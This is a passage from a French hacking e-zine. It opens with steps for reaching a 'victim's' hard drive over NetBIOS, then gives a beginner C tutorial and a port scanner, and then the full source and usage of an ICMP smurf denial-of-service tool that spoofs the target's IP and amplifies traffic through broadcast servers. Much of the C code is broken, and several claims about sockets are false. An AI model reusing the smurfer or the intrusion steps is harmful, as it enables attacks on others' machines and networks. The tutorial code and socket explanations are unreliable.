Ce qui nous interesse dans cette liste, c'est le nom d'ordinateur avec le <20>, UNIQUE et Registered écris devant, retenez donc ce nom. Maintenant on va éditer le fichier lmhsot.sam. Toujours sous DOS, tapez
>edit lmhost.sam
Vous allez vous aperçevoir que ce fichier est vide, tapez donc à l'intérieur :
>MONORDINATEUR ip #PRE
Où MONORDINATEUR représente le nom du pc de la victime, et ip son adresse ip.
Restez sous DOS et tapez :
>NBTSTAT -R
Vous devriez alors obtenir, si tout se passe bien, ce message :
Successful purge and preload of the NBT Remote Cache Name Table
C'est à ce moment là que tout va se jouer.... Quittez la fenêtre MS-DOS (tapez "exit"), allez dans démarrer/rechercher/ordinateur distant puis tapez le nom du pc de la victime (ici MONORDINATEUR).
Si un nom de pc s'affiche, c'est gagné, c'est celui de la victime, vous allez donc pouvoir accèder à son DD ...
Hummm, voilà, c'est tout ce
que l'on peut dire sur cette méthode d'infiltration... Bonne chance
!!! :))
8°/La programmation en C
Bon, dans ce chapitre, je vais
essayer de vous apprendre les bases du langage c, un langage hyper-important
puisque la plupart des procédures ou des programmes utilisés en hacking
ou en réseau sont codés en C. Si vous pensez que le C est difficile,
détrompez vous, il n'est pas plus dûr que n'importe quel autre langage
de programmation. On dit également souvent que pour la programmation
, faut être bon en maths... Arf, moi je trouve cette idée là totalement
stupide, étant donné que les maths, primo, c'est pas mon truc,
et secundo, j'arrive très bien à programmer sans avoir mon bouquin de
maths sous les yeux... ;) Alors, déprimez pas, même si vous n'avez jamais
fait de programmation, le c est facile ! Bon, on commence...
Voilà, pour commencer, un exemple
basic de programme en C :
1. /* Ce programme affiche la chaîne "bonjour" */
2. #include <stdio.h>
3. main()
4. {
5. printf("bonjour\n");
6. return 0;
7. }
Alors, voici un descriptif
de ces différentes lignes (oui je sais ça a l'air compliqué :p)
:
1. /* et */ servent à inclure
des remarques dans le programme, ce qui peut être très utile pour expliquer
le fonctionnement d'une procédure, ou pour mettre son pseudo dans le
programme par exemple . ;)
2. Il s'agit de la directive
du programme. Une directive #include <exemple.h> va inclure toutes
les fonctions déjà préprogrammées dans la librairie "exemple.h"
. Ici, nous avons #include <stdio.h> qui inclut les fonctions
d'e/s (entrées/sorties) programmées dans la librairie stdio.h . Cette
librairie comprend nottament les fonctions printf() et scanf(), qui
vont nous être très utiles dans la suite du programme.
3. Tout programme c qui se respecte contient obligatoirement une fonction main(), qui comprend toutes les instructions du programmes qui vont devoir être utilisées. Voilà les différents type de main() :
-void main(void) : La fonction main() ne prend aucun paramètre et ne retourne pas de valeur.
-int main(void) : La fonction main() retourne une valeur à l'aide de l'instruction return. Cette valeur peut éventuellement être récupérée par l'environnement à partir duquel le programme a été lancé.
-int main(int argc, char *argv[])
: On obtient alors des programmes auxquels on peut adresser des arguments
au moment où on lance le programme : on dit alors que l'on envoie des
arguments par la ligne de commande.
4/7. Les accolades { et } marquent
le début et la fin d'une fonction. Ici, ils marquent le début et la
fin de la fonction main() .
5. printf() est la fonction qui sert à afficher une chaîne de caractères.
Exemple: printf("bonjour")
servira à afficher le mot "bonjour". Il existe également des
marqueurs à l'intérieur de cette fonction, tels que "\n",
qui sert pour le pasage à la ligne, "\b", pour revenir sur
le caractère précédent, "\"", pour écrire des guillemets,
etc...
La fonction printf() peut également
contenir des "indicateurs de formats", exemple :
printf("%s mesure %d centimètres
et pèse %f kilogrammes", nom, hauteur, poids)
Voilà une description de ces
indicateurs:
%s , pour indiquer une chaîne de caractères de type char.
%d , pour indiquer un entier de type int.
%f , pour indiquer un nombre
réel de type float.
Donc, quand on voudra afficher un mot, on utilisera %s, pour afficher un nombre entier, %d, et pour un nombre à virgule, %f.
La fonction printf interprète la chaîne de caractères en écrivant tous les caractères ordinaires et en remplaçant les indicateurs de format par les valeurs ou les valeurs des variables qui se trouvent derrière la virgule, en respectant l'ordre : au premier % correspond la première valeur indiquée, au deuxième % la deuxième valeur indiquée et ainsi de suite.
Dans notre exemple, on a :
%s, qui correspond à la variable "nom"
%d, qui correspond à la variable "hauteur"
%f, qui correspond à la variable
"poids"
La valeur de ces variables est logiquement définie juste après la fonction main(). Supposons que l'on veuille afficher grâce à la fonction printf() ceci: James mesures 180 centimètres et pèse 65,3 kilogrammes.
En sachant que James=nom, 180=hauteur
et 65,3=poids, on va donc définir la valeur des variables :
int hauteur; /* cela définit la variable hauteur */
float poids; /* cela définit la variable poids */
char nom[5]; /* cela définit un tableau de 5 caractères pour le nom James/
/* On affecte nos valeurs à ces variables */
hauteur = 180;
poids = 65,3;
nom[5] = "James";
Voilà, le tour est joué !!! Maintenant, la ligne printf("%s mesure %d centimètres et pèse %f kilogrammes", nom, hauteur, poids) affichera :
James mesures 180 centimètres et pèses 65,3 kilogrammes.
Le tour est joué ! On peut également demander à l'utilisateur du programme d'assimiler ses propres valeurs aux variables, via la fonction scanf().
Voilà un exemple de programme
faisant cela, vous allez vite comprendre :
#include <stdio.h> /* on inclut les fonctions d'e/s */
main();
{
int age; /* déclaration des variables */
float weight;
char first[15], last[15]; /* 2 tableaux de caractères, pour le nom et le prénom ( last et first) */
/* fin de la déclaration des variables */
printf("\nQuel est votre prénom?");
scanf(" %s", first); /* scanf() va demander a l'utilisateur d'entrer une valeur pour "first", notez l'espace entre " et %s", ;) */
printf("Quel est votre nom?");
scanf(" %s", last); /* même chose mais avec le nom (last) */
/* On abandonne les indicateurs %s :p */
printf("Quel âge avez vous?");
scanf(" %d", &age); /* notez l'eperluette pour les nombres :) */
printf("Combien pesez vous?")
scanf(" %f", &weight); /* même chose */
/* Toutes les valeurs tapées par l'utilisateur ont bien été assimilées aux variables, on va maintenant les ressortir :) */
printf("Monsieur %s %s a %d ans et pèse %f kilogrammes", last, first, age, weight); /* héhéh, un peu rapide mais bon.... */
return 0; /* prenez cette bonne habitude ;) */
} /* fin du programme */
/* coded by [Kefka] ;p */
Voilà, avec toutes ces remarques inserées dans le programme, je pense que vous avez compris. Sinon, l'instruction "return 0;" à la fin de la fonction main permet de renvoyer la valeur 0 au système, ce qui signifie (par convention) que le programme s'est terminé dans des conditions normales. Le renvoi d'une telle valeur entière est rendu obligatoire par l'en-tête de la fonction main qui annonce le retour d'un int : int main(...) .
Bon, voilà, c'est tout ce que
vous avez à savoir sur les printf() et scanf(), pas trop dur finalement...
On va maintenant s'interesser aux instruction de contrôle du c, à savoir if, else, while, for, etc...
Avant de commencer, voici une liste non exhaustive des opérateurs du c :
-------------------------------------------------------------------------------------------
== > Egal à
> > Supérieur à
< > Inférieur à
>= > Supérieur ou égal à
<= > Inférieur ou égal à
!= > Différent de
+ > Ajoute
- > Soustrait
* > Multiplie
/ > Divise
++ > Incrémente
-- > Décrémente
% > Calcule le reste d'une division
| > Ou
& > Et
= > Affecte
?: > Comparaisons
-> > Pointeurs
-------------------------------------------------------------------------------------------
Bon, on va commencer par étudier
la fonction if... Cette fonction se présente comme ceci : if (quelque
chose correspond a quelque chose) >> instruction (alors on execute
une instruction). Je pense qu'un exemple concret vous sera plus utile
:
if (age < 18) /* Si l'age donné est inférieur à 18... */
{
printf("Vous n'êtes pas en âge de voter\n"); /* alors vous n'êtez pas en âge de voter :(( */
annees = 18 - age;
printf("Vous pourrez voter dans %d ans", &annees); /* mais vous pourrez voter dans x annees */
}
Ensuite on peut mettre une
deuxième fonction if(), par exemple :
if (age > 18) /* Si l'age donné est supérieur à 18 */
{
printf("Vous pouvez voter !!!\n");
}
Si il n'y a que deux fonctions
if() à placer et que vous être trop feignant (ben voyons...) il exister
aussi la fonction else(). Ainsi , :
if (age < 18)
{
printf("Vous n'êtes pas en âge de voter\n");
annees = 18 - age;
printf("Vous pourrez voter dans %d ans", &annees);
}
else
{
printf("Vous pouvez voter
!!!\n");
Voilà, aussi simple que ça.
Bon, maintenant, étudions une autre instruction de contrôle: la boucle
while. On va prendre pour exemple une boucle while qui parcoure le code
tant que l'expression relationelle n'est pas vraie:
while (montant < 25)
{
printf("Montant trop faible");
valIncorrect++; /* compte le nombre de problème, valIncorrect = valIncorrect + 1 vu? */
printf("Nouvel essai,
nouveau montant?\n");
scanf(" %d", montant);
Tant que le montant indiqué
par l'utilisateur du programme sera un montant inférieur à 25, l'instruction
se répétera.
Bon, encore autre chose, la
boucle for. Prenons un exemple. For (i=0; i <= 10; i++). La boucle
va prendre une valeur i, 0 (i=0), et va lui ajouter 1 (i++) jusqu'à
ce que i fasse 10 (i <=10). Voilà un exemple de programme utilisant
la boucle for :
for (montant=0; montant<=25; montant++) /* on ajoute 1 a "montant" jusqu'à ce que "montant" fasse 25 */
{
printf(" %d", montant); /* on affiche la valeur de "montant" */
}
Bon, voilà, pas besoin d'en
mettre plus pour le moment, cela devrait déjà bien vous servir :)) .
Et n'oubliez pas, les deux seules régles pour maîtriser un langage de
programmation , c'est a) lire du code et b) écrire du code. :)
9°/Programmation de sockets
a) Présentation d'une socket
Bon, pour commencer, il serait
intéressant de savoir qu'est ce qu'une socket. Une socket est un API
(Application Programm Interface) qui permet le transfert de données
entre deux processeurs distants ou non. Au plan matériel, la socket
est une "carte" qui relie la carte mère au processeur. Enfin,
bref, pour communiquer, nous allons devoir créer une socket sur le client
et tenter de la connecter à une socket sur le serveur.
En C, la création d'une socket
se présentez sous cette forme :
int socket(int domain, int
type, int protocol);
Cette socket est définie par
trois éléments, dont voici les détails :
-domain: C'est le domaine d'adressage de la socket, qui peut être soit *AF_INET (pour internet)
*AF_UNIX (pour la communication
inter-processus sous UNIX)
-type: Il s'agit du type de la socket, de la façon dont la socket va trasporter les données. On distingue plusieurs modes, qui contiennent différent types de socket. Ces modes sont les suivants :
*Direct protocol: Ce mode recouvre SOCK_RAW (pour écrire directement dans ses packets ip).
*Mode connecté: SOCK_DGRAM
*Mode non-connecté: SOCK_STREAM
-protocol: Cet élément définit le protocole utilisé par la socket. Voici ces différents types de protocoles :
*0: C'est le protocole par défaut. C'est le système qui déterminera le type de protocole, UDP pour le mode non-connecté et TCP pour le mode connecté.
*IPPROTO_UDP: Pour le protocole
UDP (User Datagramm Protocol).
*IPPROTO_TCP: Pour le protocole TCP (Transmission Control Protocol).
Voilà, clair non? Voici maintenant un exemple de socket:
Kefka = socket(AF_INET, SOCK_DGRAM, 0)
Cette socket, qui répond au doux nom de Kefka (;)), est une socket qui possède un domaine d'adressage Internet, en mode non-connecté, et donc qui utilise le protocole UDP.
On aurait aussi pu écrire:
Kefka = socket(AF_INET, SOCK_DGRAM,
IPPROTO_UDP) mais ça nous rallonge beaucoup trop, alors dans presque
tous les cas le type de protocole utilisé sera 0, donc on laissera le
choix au système.
b)Récupération des information
de l'host
Bon, on a notre socket, c'est bien , mais le tout est de pouvoir la raccorder à quelque chose, càd la socket distante, située sur le serveur.
Il va évidemment nous falloir
l'adresse de la socket distante, afin de pouvoir établir une communication
avec celle-ci. Nous allons utiliser pour cela la structure sockaddr_in
(in pour Internet), car en effet la structure sockaddr mise toute seule
est une structure qui recouvre tous les type de socket, trop générique
pour la socket que nous avons créer donc.
Cette structure se présente
donc comme ceci :
struct sockaddr_in
{
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8]
}
Voilà la définition des parties de ces structures:
-sin_family , qui va représenter la famille de l'adressage de la socket, qui dans notre cas va être AF_INET.
-sin_port , qui va représenter le numéro de port en format réseau, sur lequel la socket écoute.
-sin_addr , qui va représenter l'adresse ip en format réseau de la machine serveur (sur laquelle on veut connecter notre socket).
-sin_zero[8] , qui va représenter
un tableau de 8 caractères, cette partie est facultative, oublions la.
Voici un exemple d'initialisation de cette structure :
struct sockaddr_in addrSock;
addrSock.sin_family = AF_INET;
addrSock.sin_port = htons(Port);
addrSock.sin_addr = *(struct_in
addr *) serveur->h_addr;
Bon, c'est pas très clair pour l'instant, je le reconnais. La fonction htons() s'occupe de la conversion du numéro de port au format réseau.
Pour ce qui est de la partie
addrSock.sin_addr, suivi de *(struct_in addr *) serveur->h_addr,
vous allez comprendre par la suite ne vous inquiétez pas.
Bon, pour se connecter à notre
socket, il faut peut être savoir où elle se trouve. La structure hostent
va s'occuper de cela. Cette structure va convertir les informations
relatives au serveur où se trouve le socket sur lequel on désire se
connecter.
Et voilà comment se présente
cette structure :
struct hostent
{
char *h_name;
char **h_aliases;
int h_addrtype;
int h_lenght;
chat **h_addr_list
}
Héhéhé, ça doit vous rapeller des choses ça... Et voilà à quoi correspondent ces différents éléments :
-h_name: Il s'agit d'une chaîne de caractère représentant le nom d'host de la machine.
-h_aliases: Il s'agit d'une chaîne de caractères contenant les alias (facultatifs) de la machine.
-h_addrtype: Il s'agit du type d'adresse de l'host, qui sera bien entendu Ipv4 (et oui, Ipv6, c'est pas encore :)) ).
-h_lenght: Il s'agit de la longueur de l'adresse.
-h_addr_list: Il s'agit d'un
tableau de caractères contenant la liste des adresses de cet host.
Et voilà, tout s'éclaire !!!
Vous savez désormais que *(struct in_addr *) serveur h_addr va représenter
l'adresse de l'host.
Nous allons maintenant récupérer
des infos sur la machine, grâce à la fonction gethostbyname(). Voilà
comment se présente cette fonction :
struct hostent *gethostbyname(const
char *name);
Cette fonction renvoie un pointeur sur la structure hostent.
Voici un exemple de l'utilisation
de cette fonction :
struct hostent Host;
Host = gethostbyname(MachineName);
Cette fonction va utiliser
le nom de la machine (MachineName) pour récupérer des informations sur
l'host.
c)Connection de la socket
Nous avons maintenant créer notre socket, nous avons défini l'adresse d'une socket distante et nous avons récupérer des informations sur la machine sur laquelle se trouve le socket. Nous allons maintenant connecter notre socket avec celle de la machine distante.
Et pour cela, on va utiliser
la fonction connnect :
int connect(int sockfd, struct
sockaddr *serv_addr, socklen_t addrlen);
Et voilà le détail des éléments de cette fonction :
-sockfd: C'est le nom de notre socket.
-struct sockaddr *serv_addr: C'est un pointeur vers une structure de type sockaddr, qui est notre adresse de socket.
-socklent_t addrlen: C'est
la taille de notre structure sockaddr.
Si la fonction renvoie une
valeur supérieure ou égale à zéro, la connection est établie, si la
valeur renvoyée est strictement inférieure à zéro, la connection n'est
pas établie.
Enfin, la dernière fonction
que l'on utilisera sera close(), pour fermer notre socket. Voilà vous
savez tout !!!
10°/Programmation d'un scanneur
de ports
Bon, maintenant que nous savons
créer notre socket et la connecter, on va pouvoir faire plein de trucs.
Ici, on va donc apprendre à créer un scanneur de ports. Le principe
est le suivant : On va demander à l'utilisateur du programme d'entrer
l'adresse d'une machine à scanner, et on va tenter d'établir une connection
à tous les sockets présents sur cette machine, à partir d'une socket
que nous allons créer. Comme chaque socket est assimilé à un numéro
de port, le programme nous renverra les noms des ports ouverts, càd
le nom des ports des sockets sur lesquels il est possible d'établir
une connection.
Voici le code source largement
commenté du programme faisant cela :
/**************************/
/* KefScan - By [Kefka] */
/* nickairmax@caramail.com */
/* ou retrouvez moi sur */
/* irc.jeuxvideo.com */
/* ---All right reserved--- */
/**************************/
/* Déclaration des directives */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
/* Fonction sockscan() */
/* Déclaration de la fonction */
int sockscan(char nomduserveur[], int nbredePorts)
{
/* Déclaration de la structure sockaddr */
struct sockaddr_in addrSocket;
/* Déclaration du pointeur serveur sur la structure hostent */
struct hostent *serveur;
/* Déclaration des variables, initialisation des variables à zéro (fd pour la socket, i pour le compteur de la boucle for, et portsOuverts pour le nombre de ports ouverts :))) */
int fd, i, portsOuverts = 0;
/* Récupération des informations avec gethostbyname() */
serveur = gethostbyname(nomduserveur);
/* Initialisation de la structure sockaddr */
addrSocket.sin_family = AF_INET;
addrSocket.sinaddr = *(struct in_addr*) serveur->h_addr;
/* Affichage du nom de la machine contenue dans la structure hostent */
printf("Un scann va être effectué sur %s", serveur->h_name);
/* Déclaration de la boucle for, pour i=1, on incrémente 1 à i jusqu'à ce que i soit égal au nombre de ports */
for(i=1;i<=nbredePort;i++)
{
/* Création de la socket en mode connecté sur TCP */
fd = socket(AF_INET,SOCK_STREAM,0);
/* Initialisation du numéro de port en format réseau avec htons() */
addrSocket.sin_port = htons(i);
/* Vérifie si la connection sur le socket a pu être établie. Si supérieur à zéro, alors la connection a réussi, sinon ca n'a pas marché :p */
if(connect(fd,(struct sockaddr *)&addrSocket, sizeofaddrSocket)>=0)
{
/* Si la connection a réussi, on incrémente le nombre de ports ouverts */
portsOuverts++;
/* Et on affiche le numéro du port ouvert */
printf("\nLe port suivant est ouvert : %d\n", i);
}
/* On ferme notre socket */
close(fd);
}
/* Renvoie à la fonction main() le nombre de ports ouverts */
return(portsOuverts);
}
/* Fonction main() */
/* Déclaration de la fonction */
int main()
{
/* Déclaration des variables */
char *nomduserveur;
int nbredePorts, portsOuverts;
/* On demande à l'utilisateur de rentrer ses données */
printf("##### KefScan #####\n");
printf(" coded by [Kefka]\n");
printf(" Tout droits reservés\n");
printf("Entrez l'adresse du serveur : ");
scanf("%s", nomduserveur);
printf("\n\nCombien de ports souhaitez vous scannez? ( max: 65535)");
scanf("%d", nbredePorts);
/* Boucle while, au cas ou le nombre de ports entré serait invalide */
while(nbredePorts<=0 | nbredePorts>65535)
{
printf("\nVeuillez patientez, scan en cours......");
/* On fait appel à la fonction sockscan() qui va afficher les numéros de ports ouverts et renvoyer le nombre de ports ouverts */
PortsOuverts = sockscan(nomduserveur, nbredePorts);
/* Maintenant on affiche les résultats globals du scan */
printf("\n\n*** Scan terminé !!! ***\nRésultats globaux :\Machine scannée : %s\nNombre de ports scannés : %d\nNombre de ports ouverts: %d\n\nCoded by [Kefka]\nThanks you for hacking :))",serveur->h_name,nbredePorts,PortsOuverts);
return 0;
}
/* Fin du programme */
Bon, voilà, ce programme s'appuie
sur le chapitre précédent, je n'ai donc pas à re-détailler les structures
et les fonctions.
Bon, on va rester dans le domaine de la programmation en C avec un smurfer composé par un maître de la programmation, j'ai nommé, LiOn7.
Le chapitre qui suit comprend des éléments du chapitre précédent (arf l'embrouille), mais s'appuie sur un autre type de programmation : la programmation des raw-socket, c'est à dire la création de paquets (ICMP, IP,UDP, et TCP).
LiOn7, c'est à toi !!! ;p
11°/ICMP Smurfing - By LiOn7
a) Introduction
Smurfing, DoS, techniques qui
furent très en vogue ces cinq dernières années, ont largement prouvées
leur efficacité que ce soit lors d'assauts de servers IRC ou WEB. Le
principe très simple, rebute néanmoins la plus part des individus désireux
de tenter l'expérience en raison de sa difficulté de mise en oeuvre,
au moins au niveau de la programmation de l'outil. Je ne vais pas m'embarasser
à vous rappeler le principe du fonctionnement d'un smurfer, vous êtes
tous censés le connaitre. Les paquets ICMP envoyés seront de type ICMP_ECHO
et de code 1.
b) Protocole ICMP
Le protocole ICMP (Internet
Control Message Protocol) est un protocole qui permet de gérer les informations
relatives aux erreurs aux machines connectées. Etant donné le peu de
contrôles que le protocole IP réalise il permet non pas de corriger
ces erreurs mais de faire part de ces erreurs aux protocoles des couches
voisines. Ainsi, le protocole ICMP est utilisé par tous les routeurs,
qui l'utilisent pour reporter une erreur (appelé Delivery Problem).
Les messages d'erreur ICMP sont transportées sur le réseau sous forme
de datagramme, comme n'importe quelle donnée. Ainsi, les messages d'erreur
peuvent eux-mêmes être sujet d'erreurs. Toutefois en cas d'erreur sur
un datagramme transportant un message ICMP, aucun message d'erreur n'est
délivré pour éviter un effet "boule de neige" en cas d'incident
sur le réseau.
c) Datagrammes ICMP
Nous savons donc que les données sont envoyés sous forme de datagramme, ce dernier est d'une simplicité déconcertante comparé à des datagrammes TCP par exemple (nécéssitant un nombre plus conséquant de headers). Il contient donc 4 champs: type, codé sur 8 bits, lors de notre smurf nous définiront le type comme ICMP_ECHO; code, codé sur 8 bits, nous allouerons la valeur 1; checksum codé sur 16 bits, et le message qui peut avoir une taille variable. Je vous propose une petite représentation ci-dessous(excusez mon manque de talent artistique):
0 ______________________15-16________________________31
| | Message ICMP |
|en-tête|____________________________________________ |
| | | | | |
| |Type(8b)| Code(8b)|Checksum(16b)|Message(xb) |
|_______|________|_________|_____________|____________|
d) Programmation du smurfer
Il s'agira donc d'envoyer
des multiples ICMP_ECHO à un nombre conséquant de serveurs de diffusion
(broadcasts) en spoofant son IP en tant que celle de la victime, ceux-ci
pointeront alors sur la cible lord du renvoie des replies. Le smufer
que je vous ai concocté est relativement simple d'utilisation, il vous
invitera à entrer le nombre de broadcast, la quantité d'echos à envoyer,
l'ip cible à spoofer. A chaque boucle l'ip du broadcast est demandée,
une fonction listening s'est vu ajoutée. Celle-ci permet de recevoir
un ECHO_REPLY à la suite d'un ping réalisé dans l'optique de vérifier
la présence d'un hôte sur le réseau. Voici la structure d'un header
ICMP.
-> Structure de l'header
ICMP
struct icmphdr {
__u8 type; // 0 ECHO_REPLY; 8 ECHO_REQUEST
__u8 code; // 0, inutilisé
__u16 checksum; // 0 avec calcul
union {
struct {
__u16 id; // 0, utilisé pour déterminer l'appartenance d'une requête
__u16 sequence; // 0, voir id
}
echo;
__u32 gateway;
struct {
__u16 __unused
; __u16 mtu;
} frag;
}un;
};
e) Code source
/******************************************/
/* Ssmurf By Li0n7 */
/* contactez-moi: killer.kil@voila.fr */
/* http://www.rndghost.com */
/* ICMP SMURFER - ICMP SPOOFER */
/* Copyright Li0n7 - Tous droits réservés */
/******************************************/
/* Déclaration des headers
*/
#include <stdio.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
/* Déclarations des variables
et structures */
char *sprotocol;
char *sa;
char *da;
int nbrPaquets, listening=0, optval, nb=0;
struct hostent *source;
struct hostent *cible;
struct sockaddr_in false;
struct sockaddr_in dest;
struct icmphdr *icmp;
struct iphdr *ip;
char *packet, *buffer;
/* Fonction chksum, thanks
Nitr0gen */
unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
/* Vérifie l'existence des
broadcasts et de la cible */
int dhosts(char *fa, char *fd)
{
if ((source=gethostbyname(fa))==NULL)
{
perror("Hote source invalide");
} else {
bzero(&false, sizeof(false));
false.sin_addr=*(struct in_addr*)source->h_addr;
}
if ((cible=gethostbyname(fd))==NULL)
{
perror("Broadcast invalide");
} else {
bzero(&dest, sizeof(dest));
dest.sin_family=AF_INET;
dest.sin_port=htons(random());
dest.sin_addr=*(struct in_addr*)cible->h_addr;
}
return 0;
}
/* Fonction forgeant les faux
datagrammes */
char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk)
{
ip = (struct iphdr *) malloc(sizeof(struct iphdr));
icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr));
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));
buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct
icmphdr));
ip = (struct iphdr *) packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
/* Création de l'header IP
*/
ip->ihl = sihl;
ip->version = sversion;
ip->tos = stos;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
ip->id = htons(getuid());
ip->ttl = sttl;
ip->protocol = IPPROTO_ICMP;
ip->saddr = false.sin_addr.s_addr;
ip->daddr
= dest.sin_addr.s_addr;
/* Création de l'header ICMP
*/
icmp->type = ICMP_ECHO;
icmp->code = scode;
icmp->un.echo.id = sechoi;
icmp->un.echo.sequence = ssek;
icmp->checksum = schk;
icmp->checksum
= in_cksum((unsigned short *)icmp,sizeof(struct icmphdr));
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
return (packet);
}
/* Fonction de smurfing */
int ismurf(char *ia, char *id, int paquets, int slisten, int broads)
{
int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk, sock, optval, pfailed=0, psucceed=0;
char *buf;
char
*spaquet;
/* Création du datagramme par
l'utilisateur attaquant */
printf("IP ILH(5): ");
scanf(" %d", &dihl);
printf("IP VERSION(4): ");
scanf(" %d", &dversion);
printf("IP TOS(0): ");
scanf(" %d", &dtos);
printf("IP TTL(255): ");
scanf(" %d", &dttl);
printf("ICMP CODE(1): ");
scanf(" %d", &dcode);
printf("ICMP ECHO.ID(0): ");
scanf(" %d", &dechoi);
printf("ICMP ECHO.SEQUENCE(0): ");
scanf(" %d", &dsek);
printf("ICMP CHECKSUM(0): ");
scanf("
%d", &dchk);
/* Boucle d'envoie des requêtes
ICMP */
for(j=0;j<broads;j++)
{
printf("Serveur broadcast n°%d:", j+1);
scanf("%s", buf);
for(i=0;i<paquets;i++)
{
dhosts(ia, buf);
bicmp(dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk);
sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));
if((sendto(sock,spaquet,ip->tot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0)
{
printf("Erreur lors de l'envoie des paquets!\n");
pfailed++;
} else {
printf("Données envoyées!\n");
psucceed++;
}
}
close(sock);
}
/* Statistiques de l'attaque */
printf("\nStatistiques:\n");
printf("Adresse source: %s.\n", ia);
printf("Nombre de broadcasts: %d.\n", broads);
printf("Nombres de paquets à envoyés par broad.: %d.\n", paquets);
printf("Nombres de paquets envoyés total: %d.\n", paquets*broads);
printf("Nombres de paquets correctement envoyés: %d.\n", psucceed);
printf("Nombres de paquets perdus: %d.\n", pfailed);
if(slisten!=1)
{
return 0;
}
/* Attend réponse de la cible, dans le cas d'une IP non spoofée */
if (slisten==1)
{
if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0)
{
printf("Received the ECHO REPLY!\n");
return 0;
} else {
printf("Erreur, aucune réception.\n");
return 0;
}
}
close(sock);
return 0;
}
/* Fonction principale */
int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n");
printf(" [Présentation des arguments] \n\n");
printf("usage: ./smurf -s<SPOOFED_IP> -n<NBR PAQUETS> -l\n\n");
printf("-s<SPOOFED_IP>: l'adresse falsifiée.\n");
printf("-n<NBR_PAQUETS>: le nombre de paquets à envoyer.\n");
printf("-b<NBR_SERVEURS>: le nombre de serveurs broadcasts.\n");
printf("-l: listening, attend un réponse pour paquets icmp envoyés.\n");
printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n");
exit(-1);
} else {
/* Récupère les arguments entrées
par l'utilisateur attaquant */
while( (argc > 1) && (argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 's':
sa=&argv[1][2];
break;
case 'n':
nbrPaquets=atoi(&argv[1][2]);
break;
case 'l':
listening=1;
break;
case 'b':
nb=atoi(&argv[1][2]);
if(nb==0)
{
printf("Le nombre de serveurs ne peut être nul.\n");
exit(-1);
}
break;
}
--argc;
++argv;
}
}
/* Appel de la fonction smurf
*/
ismurf(sa, da, nbrPaquets, listening, nb);
return 0;
}
f) Extras
Pour compiler:
$ gcc -o smurf smurf.c
usage: ./smurf -s[SPOOFED_IP]
-n[NBR PAQUETS] -l
-s[SPOOFED_IP]: l'adresse falsifiée.
-n[NBR_PAQUETS]: le nombre de paquets à envoyer.
-b[NBR_SERVEURS]: le nombre de serveurs broadcasts.
-l: listening, attend un réponse
pour paquets icmp.
Programme publié à but purement indicatif et explicatif.
Besoin d'aide? Commentaires?
Insultes? - killer.kil@voila.fr .
Ahem, voilà... Ce texte n'est désormais plus une exclusivité puisqu'il a été publié sur http://www.rndghost.com , un très bon site d'ailleurs, n'hésitez pas à y faire un tour... :)
Bon, on quitte le domaine de la programmation pour attaquer un domaine
lui aussi très privilégié par les programmeurs (hein LiOn7? :p): L'intelligence
artificielle. Bon, pour commencer, voici un texte qui me servira d'introduction.
Puis, au fur et à mesure des HackZine, j'essayerais d'approndir le sujet.
(je ne sais toujours pas comment d'ailleurs :) ).
Paraît il que l'ia, c'est l'avenir
du hacking...
12°/Intelligence artificielle
L'ordinateur n'est pas doué
d'intelligence...
Oui, je pense que vous vous
en êtes rendu compte... Un ordinateur ne réagit que si on lui donne
des instructions précises. Prenons un exemple concret. On a un robot,
nommons le Windows (beurk...). On veut lui faire faire démarrer une
voiture. Les instructions à donner devront être :
1) Prend cette clé.
2) Mets la voiture en marche.
Hélas, notre pauvre robot Windows
n'a jamais vu de voiture ou de clé, et ne pourra jamais executer ces
instructions, même si elles sont correctes. Vous devez donc lui détailler
les instructions :
1) Ceci est la clé de la voiture, qui va te sevrir a mettre le moteur en marche.
2) Ceci est la voiture, que tu vas ouvrir avec la clé, la partie latérale de la voiture est la portière, qui comprend des objets noirs, apellés : poignées
3) Prend la clé, va vers la voiture et met toi en face de la portière.
4) Sous la poignée noire de la voiture, la pièce métallique ronde de la voiture est la serrure correspondant à la clé.
5) Introduis la clé dans la serrure jusqu'au fond. Tourne la clé vers la droite jusqu'à que tu entendes un déclic.
6) Ramène la clé dans sa position précédente et sors la clé de la serrure.
7) Ouvre la portière en tirant sur la poignée, et assis toi devant la pièce en forme d'anneau, qui est le volant, sur le siège avant gauche.
8) Ferme la portière.
9) Devant toi, il ya une autre
serrure. Insère-y la clé et tourne la vers la droite.
L'intelligence artificielle
va donc consister à établir des instructions très précises, afin de
donner un certain niveau de connaissances à notre robot. Tout code source
d'un robot basé sur l'intelligence artificielle contiendra une très
longue déclaration de variables, de sorte à ce que le robot puisse utiliser
des éléments, etc...
